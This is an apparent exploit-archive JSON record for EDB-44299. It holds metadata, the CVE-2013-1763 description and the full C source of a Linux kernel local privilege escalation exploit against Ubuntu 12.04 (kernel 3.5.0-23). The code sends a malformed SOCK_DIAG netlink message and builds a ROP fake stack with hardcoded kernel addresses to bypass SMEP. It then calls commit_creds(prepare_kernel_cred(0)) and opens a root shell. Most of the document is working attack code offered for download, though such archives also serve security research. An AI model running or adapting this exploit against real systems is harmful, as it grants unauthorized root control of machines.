{"exploit":{"id":"EDB-44299","name":"Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation (LPE)","description":"Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation (LPE)","cves":["CVE-2013-1763"],"author":"Vitaly Nikolenko","published":"2015-08-26","platform":"linux_x86-64","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44299","path":"exploits/linux_x86-64/local/44299.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44299.c","vulnerabilities":[{"id":"CVE-2013-1763","state":"PUBLISHED","title":null,"titleSource":null,"description":"Array index error in the __sock_diag_rcv_msg function in net/core/sock_diag.c in the Linux kernel before 3.7.10 allows local users to gain privileges via a large family value in a Netlink message.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-1763","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-1763"},"updatedAt":"2024-08-06T15:13:32.735Z","retrievedAt":"2026-11-26T23:49:42.212Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44299.png?v=2","url":"https://exploitbin.com/exploits/EDB-44299","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44299/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44299/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/**\n * based on the exploit by SynQ\n *\n * Modified PoC for CVE-2013-1763 with SMEP bypass\n * Presentation: Practical SMEP Bypass Techniques on Linux\n * Vitaly Nikolenko\n * vnik@cyseclabs.com\n *\n * Target: Linux ubuntu 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux\n *\n * gcc sockdiag_smep.c -O2 -o pwn\n */\n\n/**\n EDB Note: Video ~ https://youtu.be/jHJd-5NvWlQ\n**/\n\n#include <unistd.h>\n#include <sys/socket.h>\n#include <netinet/tcp.h>\n#include <errno.h>\n#include <linux/if.h>\n#include <linux/filter.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <linux/inet_diag.h>\n#include <sys/mman.h>\n#include <assert.h>\n//#include <linux/sock_diag.h>\n//#include <linux/unix_diag.h>\n//#include <linux/netlink.h>\n#include \"sock_diag.h\"\n#include \"unix_diag.h\"\n#include \"netlink.h\"\n\nunsigned long user_cs;\nunsigned long user_ss;\nunsigned long user_rflags;\n\ntypedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);\ntypedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);\n_commit_creds commit_creds;\n_prepare_kernel_cred prepare_kernel_cred;\nunsigned long sock_diag_handlers, nl_table;\n\nstatic void saveme() {\n\tasm(\n\t\"movq %%cs, %0\\n\"\n\t\"movq %%ss, %1\\n\"\n\t\"pushfq\\n\"\n\t\"popq %2\\n\"\n\t: \"=r\" (user_cs), \"=r\" (user_ss), \"=r\" (user_rflags) : : \"memory\" \t\t);\n}\n\nvoid shell(void) {\n\tif(!getuid())\n\t\tsystem(\"/bin/sh\");\n\n\texit(0);\n}\n\nstatic void restore() {\n\tasm volatile(\n\t\"swapgs ;\"\n\t\"movq %0, 0x20(%%rsp)\\t\\n\"\n\t\"movq %1, 0x18(%%rsp)\\t\\n\"\n\t\"movq %2, 0x10(%%rsp)\\t\\n\"\n\t\"movq %3, 0x08(%%rsp)\\t\\n\"\n\t\"movq %4, 0x00(%%rsp)\\t\\n\"\n\t\"iretq\"\n\t: : \"r\" (user_ss),\n\t    \"r\" ((unsigned long)0x36000000),\n\t    \"r\" (user_rflags),\n\t    \"r\" (user_cs),\n\t    \"r\" (shell)\n\t);\n}\n\nint __attribute__((regparm(3)))\nkernel_code()\n{\n\tcommit_creds(prepare_kernel_cred(0));\n\trestore();\n\n\treturn -1;\n}\n\nint main(int argc, char*argv[])\n{\n\tint fd;\n\n\tstruct sock_diag_handler {\n\t\t__u8 family;\n\t\tint (*dump)(void *a, void *b);\n\t};\n\n\tunsigned family;\n\tstruct {\n\t\tstruct nlmsghdr nlh;\n\t\tstruct unix_diag_req r;\n\t} req;\n\n\tif ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){\n\t\tprintf(\"Can't create sock diag socket\\n\");\n\t\treturn -1;\n\t}\n\n\tvoid *mapped;\n\tvoid *fakestruct;\n\tstruct sock_diag_handler a;\n\ta.dump = (void *)0xffffffff8100b74f;\n\n\tcommit_creds = (_commit_creds) 0xffffffff8107ee30;\n\tprepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107f0c0;\n\n\tassert((fakestruct = mmap((void *)0x10000, 0x10000, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE, 0, 0)) == (void*)0x10000);\n\tmemcpy(fakestruct+0xad38, &a, sizeof(a));\n\n\tassert((mapped = mmap((void*)0x35000000, 0x10000000, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)0x35000000);\n\n\tunsigned long *fakestack = (unsigned long *)mapped;\n\t*fakestack ++= 0xffffffff01661ef4;\n\tint p;\n\tfor (p = 0; p < 0x1000000; p++)\n\t\t*fakestack ++= 0xffffffff8100ad9eUL;\n\n\tfakestack = (unsigned long *)(mapped + 0x7000000);\n\tprintf(\"[+] fake stack addr = %lx\\n\", (long unsigned)fakestack);\n\t*fakestack ++= 0xffffffff8133dc8fUL;\n\t*fakestack ++= 0x407e0;\n\t*fakestack ++= 0xffffffff810032edUL;\n\t*fakestack ++= 0xdeadbeef;\n\t*fakestack ++= (unsigned long)kernel_code; // transfer control to our usual shellcode\n\n\tmemset(&req, 0, sizeof(req));\n\treq.nlh.nlmsg_len = sizeof(req);\n\treq.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;\n\treq.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;\n\treq.nlh.nlmsg_seq = 123456;\n\n\treq.r.sdiag_family = 45;\n\n\treq.r.udiag_states = -1;\n\treq.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;\n\n\tsaveme();\n\tif ( send(fd, &req, sizeof(req), 0) < 0) {\n\t\tprintf(\"bad send\\n\");\n\t\tclose(fd);\n\t\treturn -1;\n\t}\n}","sha256":"481c8e6b5f168b57b4ddc0bf44d20e664db39d7af356550e6ebeb4fd1b5a2804","bytes":3734,"fetchedAt":"2026-11-27T10:08:09.601Z","encoding":"utf-8 (display only; download retains original bytes)"}